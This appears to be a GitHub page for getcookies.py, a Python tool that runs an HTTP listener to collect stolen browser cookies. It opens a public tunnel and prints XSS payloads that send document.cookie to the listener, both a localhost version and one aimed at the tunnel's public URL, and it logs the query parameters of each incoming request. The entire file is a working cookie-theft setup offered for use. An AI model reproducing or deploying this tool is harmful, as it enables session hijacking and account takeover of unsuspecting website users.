-
Notifications
You must be signed in to change notification settings - Fork 1
/
getcookies.py
66 lines (57 loc) · 2.39 KB
/
getcookies.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from http.server import BaseHTTPRequestHandler, HTTPServer
import urllib.parse
import publicurl
import time
import sys
import re
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
"""Handle GET requests"""
parsed_url = urllib.parse.urlparse(self.path)
query_params = urllib.parse.parse_qs(parsed_url.query)
print("\n---- GET Request ----")
print(f"Path: \033[32m{self.path}\033[0m")
print(f"Headers:\n{self.headers}")
print(f"Query Parameters: \033[31m{query_params}\033[0m")
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(b"GET request received and logged.")
def strip_ansi_escape_sequences(text):
ansi_escape = re.compile(r'\x1B[@-_][0-?]*[ -/]*[@-~]')
return ansi_escape.sub('', text)
def home_logo():
print("""
#### ## ## ### ##### ####### #######
## ## ## ## ## ## ## ## ## ## ##
## ## ## ## ## ## ## ## ## ## ##
## ######### ## ## ## ## ####### ########
## ## ## ######### ## ## ## ## ##
## ## ## ## ## ## ## ## ## ## ##
#### ## ## ## ## ##### ####### #######
IHA089: Navigating the Digital Realm with Code and Security - Where Programming Insights Meet Cyber Vigilance.
""")
def run(server_class=HTTPServer, handler_class=RequestHandler, port=4545):
"""Run the HTTP server"""
server_address = ('', port)
httpd = server_class(server_address, handler_class)
home_logo()
print()
print("localhost js query ::: \033[31m<script>fetch(`http://127.0.0.1:4545?cookies=${encodeURIComponent(document.cookie)}`);</script>\033[0m")
publicurl.create_public_connection()
time.sleep(7)
k = publicurl.get_public_url()
if k!="0":
k=k.replace(" ","")
k = strip_ansi_escape_sequences(k).strip()
print(f"public js query ::: \033[31m<script>fetch(`"+k+"?cookies=${encodeURIComponent(document.cookie)}`);</script>\033[0m")
print("\nServer running....")
try:
httpd.serve_forever()
except KeyboardInterrupt:
print("Exiting....")
sys.exit()
except Exception as e:
print(e)
if __name__ == '__main__':
run()